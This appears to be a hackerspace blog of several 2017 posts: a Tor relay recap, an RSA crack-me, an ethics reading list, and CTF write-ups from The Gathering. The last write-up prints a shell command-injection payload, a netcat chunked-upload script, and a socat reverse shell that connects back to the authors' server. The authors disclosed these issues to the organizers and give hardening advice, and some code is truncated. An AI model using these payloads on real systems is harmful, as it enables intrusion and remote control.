TOR at hackeriet in 2016

01/05/17 — capitol


We at hackeriet started our tor node one year ago, with help from the NUUG foundation.

The node is still happily churning out encrypted data to different parts of the internet, as can be seen on out network graphs.

Our setup


We started the project with a dedicated 1U rack machine, a HP ProLiant DL160 G5 Server, it had four cores and 20 gig of ram.

This turned out to be way more iron than what we needed in order to power to node, so in september the machine was converted to a virtual machine in our proxmox cluster.


The machine was installed with Debian 8 and setup to automatically install security updates. The tor software was installed with the help of debian packages.

The machine have both ipv4 and ipv6 addresses, and we accept connections to tor from both.

The munin monitoring software ran on a separate machine.

What happened

We had a hardware failure on the machine that hosted the munin graphs, and as those were complimentary we didn’t have backups of them.

We also had a series of 5 power outages in the end of summer, most likely due to faulty hardware in one machine. As the problem was hard to reproduce and intermittent we never managed to conclude that the hardware we suspected was the culprit, but the problems stopped occurring when it was removed.

We opted into becoming a fallback directory mirror as our node is quite stable.

Right now the latest stable version of tor have just been released and we are in the process of upgrading to it.

What we learned

There has been a lot of drama in the tor project during 2016, one of the main activists resigned due to committing acts of sexual harassment.

There has also been multiple different attempts as FUD, mainly due to the fact that a lot of the funding for the development of the project comes from the american military.

There were also an attack on the tor network performed by FBI And Carnegie Mellon University in 2014, more information on the circumstances was published and combed over by the community.

What will happen now

We will continue to host our entry node, as tor is still one of the best projects for ensuring freedom from some of those that want to monitor your network traffic.

We almost understand RSA now

27/04/17 — capitol


After intense study of the RSA algorithm, we think that we have almost managed to implement it correctly.

Can any of you break our encryption scheme?

telnet 2a02:ed06::2033 12347

telnet 12347

Happy hacking!

Resources for becoming a better hacker - Part 2, ethics

19/04/17 — capitol


The second topic for our series on learning material will cover a slightly unorthodox subject regarding hacking, the ethical aspect of the hobby.

It’s easy to just disregard the subject, either from the viewpoint that all hacking is criminal and therefore unethical, or from the standpoint that if it can be done then it should be done and therefore ethical.

The truth is of course somewhere in between, and it’s quite personal where you land in the spectrum. I would therefore like to present a reading list on the subject, so that you can come to your own conclusions.

Lets start with a classic from the book Hackers: Heroes of the Computer Revolution: Hacker ethics.

And a critique of it here.

It doesn’t really have anything to with computer security, but its still quite important to have read.

Lets start touching on the security aspect of hacking with some jargon.

There can be many reasons to investigate the security of a system, one is hacktivism, a loaded word that was first coined by Cult of the Dead Cow, the original paper can be interesting to read.

Or a hacker might be working within a academic or business context that need a code of conduct.

If you are more academically inclined, then this is a good read and here is an overview of other papers.

There is also very different attitudes on what to do with found security holes. A spook or a black hat might want to keep the information secret, in order to weaponize it, while a white hat will report it.

Writeup for auto challenge at The Gathering

18/04/17 — capitol









The auto challenge piped a base64 encoded binary at us, and then asked us to provide the password from that binary.

Visual inspection showed us that something that looked like a password was stored in plain text between the strings “Password:” and “You did it”.

When the correct password was returned within a second, the whole thing repeated. After about 5 or 6 times the flag was returned.

I wrote a small java function to extract the string and send that back:

    public void solve() throws Exception {
        String hostName = "";
        int portNumber = 2270;

        try (
                Socket echoSocket = new Socket(hostName, portNumber);
                PrintWriter out = new PrintWriter(echoSocket.getOutputStream(), true);
                BufferedReader in = new BufferedReader(new InputStreamReader(echoSocket.getInputStream()));
        ) {
            while(true) {
                String input = in.readLine();

                System.out.println("input = " + input);
                byte[] decoded = Base64.getDecoder().decode(input);

                String b = new String(decoded);

                String password = b.substring(b.indexOf("Password:") + 13, b.indexOf("You did it") - 1);

                String input2 = in.readLine();
                System.out.println("input1 = " + input2);


                input2 = in.readLine();
                System.out.println("input2 = " + input2);

The flag was TG17{bin4ries_3verywhere_wh4t_t0_d0}

Investigating the ctf infrastructure at The Gathering

17/04/17 — capitol









The biggest lan party here in norway is The Gathering, and they also organize a small ctf, tghack.

The Time challenge presented us with a prompt for our name, and then printed that name and the current time.

The server side code did this by running a shell command, and the input wasn’t sanitized.

We got the flag by entering $(cat flag.txt) as the name. It was TG17{tick_t0ck_arbitrary_c0de_execution}.

But then we looked around some more, and discovered that /tmp was writeable and executable, and gcc was also installed. A peek at the files in /etc confirmed our guess that it ran as a docker image.

Someone also entered a fork bomb into the challenge, and that confirmed that many of the challenges ran on the same host, as the organizers hadn’t set any limit or cgroup rules.

At this point we decided it was time to do some responsible disclosure to the organizers. As it might have been possible to MITM the network traffic to the other challenges with an arp poison attack, as described here.

That done we wrote a small program to upload our binaries to /tmp/

# made for tghack '17
# desc: upload a file chunked through a shell with length
#       restrictions of commands. you might need to manually
#       tune the BUFLEN to stay within the limits. sh syntax
#       errors appears when you're out of bounds.
# todo: progress bar

if [[ -z "$HOST" || -z "$PORT" || -z "$FILE" || -z "$DEST" ]]; then
  >&2 echo "Missing argument(s). Usage: program <host> <port> <file> [<dest>]"
  exit 2

# Compress file and remove newlines to make it easy to echo
COMPRESSED="$(gzip -c $FILE | base64 | tr -d '\n')"


NETCAT="nc -q 0 $HOST $PORT"

# Upload file
while [ $INDEX -le $SIZE ]; do

  # Pipe chunk through netcat and append to destination file
  # \x60 is a backtick
  printf '\x60echo \x27%b\x27>>%b\x60' "$SUBSTR" "$DEST" | $NETCAT


# Decompress and make executable
printf '\x60cat %b|base64 -d|zcat>\x60' $DEST $DEST | $NETCAT
printf '\x60chmod +x\x60' $DEST | $NETCAT

echo "Executable at $"

Some more exploring reveled that they hadn’t blocked outgoing connections from the docker image, so we created the reverse shell binary:

socat tcp:$1:$2 exec:"bash -i",pty,stderr,setsid,sigint,sane

uploaded it to the server:

ncupl 1111 ./ c

started listening for connections on our own server:

socat -,raw,echo=0 tcp-listen:14243

then initiated the reverse shell connection from the remote host:

echo '$(/tmp/ <our serverip> 14243)' | nc 1111

This made it a lot easier to explore the system, unfortunately other obligations came up, so we didn’t manage to find any other vulnerabilities.

Our recommendations for hosting challenges are these:

  1. Set limits on the amount of resources each challenge can consume, so that a problem with one challenge doesn’t block people from using the other challenges.
  2. Lock down the file system if it’s not part of the challenge to gain a shell, no need to have any of it writeable.
  3. Letting people send network traffic out might not be the best thing, no need to be a jump host in real attacks.

We would also like to give credit to the organizers of the ctf, for building a lot of nice challenges that did a great job of teaching those that are new to the hobby. They were also very responsive when we reported problems to them.